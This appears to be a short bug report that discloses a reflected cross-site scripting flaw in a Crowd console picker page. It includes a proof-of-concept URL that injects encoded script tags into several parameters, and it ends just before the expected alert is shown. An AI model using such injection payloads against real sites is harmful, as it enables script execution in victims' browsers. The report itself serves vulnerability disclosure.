Currently, the confluence picker does not sanitize the input ( <crowd-url>/crowd/console/secure/pickers/displayPicker.action).

Proof of concept.

1. Access the following URL in your browser with javascript enabled. Replace the <crowd-url> with your crowd URL.

   <crowd-url>/crowd/console/secure/pickers/displayPicker.action?searchURL=%3E%22%27%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E&actionURL=%3E%22%27%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E&actionName=%3E%22%27%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E&initialMessage=%3E%22%27%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E&finalURL=%3E%22%27%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E

2. You will see the following alert: